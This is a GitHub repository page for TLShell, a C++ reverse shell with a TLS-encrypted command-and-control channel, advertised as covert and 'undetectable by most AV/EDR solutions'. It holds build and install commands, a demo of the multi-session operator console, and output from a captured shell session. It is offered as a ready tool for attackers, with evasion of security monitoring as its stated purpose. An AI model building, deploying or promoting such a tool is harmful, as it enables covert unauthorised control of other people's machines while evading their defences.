Skip to content

HudsonSeiler/TLShell

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

TLShell

An encrypted covert reverse shell

Description:

Traditional reverse shells send data in plaintext, making them vulnerable to detection or interception by network monitoring tools, intrusion detection systems (IDS), or firewalls. With TLS encryption, however, the communication between the attacker and the target machine is encrypted, ensuring confidentiality and reducing the risk of detection by security tools that inspect unencrypted traffic.

Features:

  • Undetectable by most AV/EDR solutions

  • Multi-session support

  • Written in C++

  • Encrypted C&C

Important: Replace hardcoded certificate in client code with your own

Installation:

sudo apt update
sudo apt install openssl mingw-w64 libssl-dev
git clone https://github.com/umutcamliyurt/TLShell.git
cd TLShell/
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 36500 -nodes
g++ server.cpp -o server -lssl -lcrypto
g++ client.cpp -o client -lssl -lcrypto

Demo:

nemesis@localhost:~/Projects/TLShell$ sudo ./server 443
Server listening on port 443...

Commands:
  /list                      - list clients
  /switch <id>               - set active session
  /broadcast <text>          - send to all clients
  /kick <id>                 - disconnect a client
  /help                      - show this help
  /exit                      - shutdown server
Typing anything else sends it to the active session.
> 
> [server] Client #1 connected from 127.0.0.1:38194
> id
> 
[1 127.0.0.1:38194] uid=1000(nemesis) gid=1000(nemesis) groups=1000(nemesis),3(sys),981(rfkill),998(wheel)

> 

Results:

screenshot Image 1: Results for Linux.

screenshot Image 2: Results for Windows.

License

Distributed under the MIT License. See LICENSE for more information.

About

An encrypted covert reverse shell

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • C++ 100.0%